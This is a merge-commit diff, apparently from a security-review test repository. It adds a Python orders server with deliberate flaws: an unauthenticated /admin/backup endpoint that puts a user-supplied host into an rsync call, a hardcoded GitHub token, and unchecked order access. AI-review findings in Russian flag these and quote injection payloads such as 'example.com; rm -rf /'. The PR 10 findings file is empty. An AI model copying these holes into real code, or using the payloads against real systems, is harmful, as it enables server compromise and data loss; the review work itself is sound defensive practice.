Merge pull request 'Merge orders module into main' (#10) from feature/orders-module into main

Reviewed-on: testclient-admin/playground#10

orders.py

@@ -0,0 +1,99 @@
+#!/usr/bin/env python3
+"""Модуль учёта заказов клиентов"""
+
+from http.server import HTTPServer, BaseHTTPRequestHandler
+import json
+import subprocess
+import threading
+import time
+
+orders = {}
+GitHubToken = "ghp_dummytoken_for_backup_notifications"
+
+
+class OrdersHandler(BaseHTTPRequestHandler):
+    def send_json_response(self, status_code, data):
+        self.send_response(status_code)
+        self.send_header("Content-Type", "application/json")
+        self.end_headers()
+        self.wfile.write(json.dumps(data).encode())
+
+    def do_GET(self):
+        if self.path.startswith("/orders/"):
+            order_id = self.path.split("/")[-1]
+            if order_id in orders:
+                self.send_json_response(200, orders[order_id])
+            else:
+                self.send_json_response(404, {"error": "Order not found"})
+        elif self.path == "/admin/backup":
+            self.send_json_response(200, {"status": "backup_endpoint_ready"})
+        else:
+            self.send_json_response(404, {"error": "Not found"})
+
+    def do_POST(self):
+        if self.path.startswith("/orders/"):
+            order_id = self.path.split("/")[-1]
+            content_length = int(self.headers.get("Content-Length", 0))
+            body = self.rfile.read(content_length).decode()
+            data = json.loads(body)
+            if "amount" in data:
+                if order_id not in orders:
+                    orders[order_id] = {"id": order_id, "user_id": "unknown", "amount": 0}
+                orders[order_id]["amount"] = data["amount"]
+                self.send_json_response(200, orders[order_id])
+            else:
+                self.send_json_response(400, {"error": "Missing amount field"})
+        elif self.path == "/admin/backup":
+            content_length = int(self.headers.get("Content-Length", 0))
+            body = self.rfile.read(content_length).decode()
+            data = json.loads(body)
+            if "host" in data:
+                backup_host = data["host"]
+                self._perform_backup(backup_host)
+                self.send_json_response(200, {"status": "backup_started", "host": backup_host})
+            else:
+                self.send_json_response(400, {"error": "Missing host field"})
+        else:
+            self.send_json_response(404, {"error": "Not found"})
+
+    def _perform_backup(self, host):
+        def run_backup():
+            try:
+                result = subprocess.run(
+                    ["rsync", "-avz", "/workspace/", f"{host}:/backup/orders/"],
+                    capture_output=True,
+                    text=True,
+                    timeout=30
+                )
+                if result.returncode == 0:
+                    print(f"Backup to {host} completed successfully")
+                    self._notify_github(f"Backup to {host} completed successfully")
+                else:
+                    print(f"Backup failed: {result.stderr}")
+                    self._notify_github(f"Backup to {host} failed: {result.stderr}")
+            except FileNotFoundError:
+                print("rsync not found, simulating backup")
+                self._notify_github(f"Backup simulation completed for {host} (rsync not available)")
+            except Exception as e:
+                print(f"Backup error: {e}")
+                self._notify_github(f"Backup to {host} error: {str(e)}")
+
+        thread = threading.Thread(target=run_backup)
+        thread.start()
+
+    def _notify_github(self, message):
+        print(f"[GitHub Notification] {message}")
+        pass
+
+    def log_message(self, format, *args):
+        print(f"[{self.log_date_time_string()}] {format % args}")
+
+
+def run_server(host="localhost", port=8000):
+    server = HTTPServer((host, port), OrdersHandler)
+    print(f"Server running on {host}:{port}")
+    server.serve_forever()
+
+
+if __name__ == "__main__":
+    run_server()

security-analysis/findings/pr-10/1787499104.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-9/1787498989.json

@@ -0,0 +1 @@
+[]

security-analysis/findings/pr-9/1787499027-review.json

@@ -0,0 +1,86 @@
+[
+  {
+    "id": "ai-review-0-orders.py-70",
+    "source": "ai-review",
+    "category": "command-exec",
+    "severity": "critical",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 70,
+    "line_end": 70,
+    "title": "Небезопасное использование пользовательского ввода в subprocess.run",
+    "description": "Значение параметра host берётся из JSON-запроса и напрямую подставляется в команду rsync без валидации или экранирования, что позволяет выполнить произвольные команды через специально сформированный host.",
+    "impact": "Полный компрометация сервера — атакующий может выполнить любую команду на хосте с правами процесса приложения.",
+    "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с payload в поле host, например: host = \"example.com; rm -rf /\" или host = \"example.com$(whoami).attacker.com\" (если rsync интерпретирует host как URL). Так как строка разбивается в список аргументов, более реалистичный вектор — ввод с пробелами и спецсимволами, которые интерпретируются оболочкой при запуске через shell, либо использование pipe/sleep, либо ввод в формате, который вызывает поведение rsync, приводящее к RCE (например, уязвимости rsync, либо выполнение shell через опции командной строки). Наиболее вероятный сценарий — использование команды rsync с опциями, распознаваемыми как отдельные аргументы, или применение инъекции, если rsync сам по себе интерпретирует host-строку как URL с встроенными командами.",
+    "evidence": "self._perform_backup(backup_host) → subprocess.run([\"rsync\", \"-avz\", \"/workspace/\", f\"{host}:/backup/orders/\"]) — строка host напрямую подставляется в команду без валидации.",
+    "recommendation": "Запретить произвольные host-значения: использовать белый список разрешённых хостов, проверить формат IP/домена, использовать строгую валидацию (например, регулярным выражением) и/или экранировать аргументы (например, добавлять флаги '--' или использовать строго типизированный вызов без shell, но лучше — полностью отказаться от подстановки пользовательских строк в аргументы команд).",
+    "cwe": "CWE-78",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-1-orders.py-15",
+    "source": "ai-review",
+    "category": "sensitive-data",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 15,
+    "line_end": 15,
+    "title": "Жёстко закодированный токен GitHub в исходном коде",
+    "description": "Токен 'ghp_dummytoken_for_backup_notifications' захардкожен в коде. Несмотря на префикс 'dummy', это чувствительное значение, и оно может быть случайно обнаружено в репозитории.",
+    "impact": "Возможна утечка учётных данных, если репозиторий станет публичным, или если токен окажется в логах или артефактах сборки.",
+    "exploit_scenario": "Потенциальный атакующий сканирует GitHub или делает git clone репозитория и находит токен. Даже если это фейковый токен, наличие таких 'дамми' токенов часто указывает на плохие практики управления секретами.",
+    "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"",
+    "recommendation": "Использовать переменные окружения или специализированный менеджер секретов (Vault, AWS Secrets Manager и т.п.) и не хранить токены в коде.",
+    "cwe": "CWE-312",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-2-orders.py-32",
+    "source": "ai-review",
+    "category": "idor",
+    "severity": "medium",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 32,
+    "line_end": 37,
+    "title": "Отсутствие проверки прав доступа к заказам",
+    "description": "Пользователи могут читать и модифицировать любые заказы по order_id, без привязки к собственному user_id.",
+    "impact": "Пользователь может просмотреть и изменить чужие заказы, что может привести к финансовым потерям или утечке данных.",
+    "exploit_scenario": "Пользователь отправляет GET /orders/123 и получает данные чужого заказа, либо POST /orders/123 с amount=999999 и переназначает чужой заказ.",
+    "evidence": "order_id = self.path.split(\"/\")[-1]; orders[order_id][\"amount\"] = data[\"amount\"] — никакой проверки ownership.",
+    "recommendation": "Добавить проверку, что order_id принадлежит текущему пользователю, например, по session или JWT claim user_id.",
+    "cwe": "CWE-639",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  },
+  {
+    "id": "ai-review-3-orders.py-41",
+    "source": "ai-review",
+    "category": "authz",
+    "severity": "high",
+    "confidence": 1.0,
+    "file": "orders.py",
+    "line_start": 41,
+    "line_end": 41,
+    "title": "Открытый доступ к административному endpoint /admin/backup без аутентификации",
+    "description": "Эндпоинт /admin/backup доступен любому пользователю, не требует аутентификации или авторизации.",
+    "impact": "Любой желающий может инициировать резервное копирование и использовать уязвимость командной инъекции.",
+    "exploit_scenario": "Анонимный атакующий отправляет POST /admin/backup с вредоносным host.",
+    "evidence": "elif self.path == \"/admin/backup\": — нет проверки self.headers.get(\"Authorization\") или аналогов.",
+    "recommendation": "Добавить аутентификацию (например, Basic Auth или API-ключ), проверку прав и ограничение IP.",
+    "cwe": "CWE-306",
+    "status": "OPEN",
+    "created_at": "2026-08-23T15:30:27Z",
+    "pr_number": 9,
+    "commit_sha": "7518ef2749ff1481236c7b95d7b557e372d399c4"
+  }
+]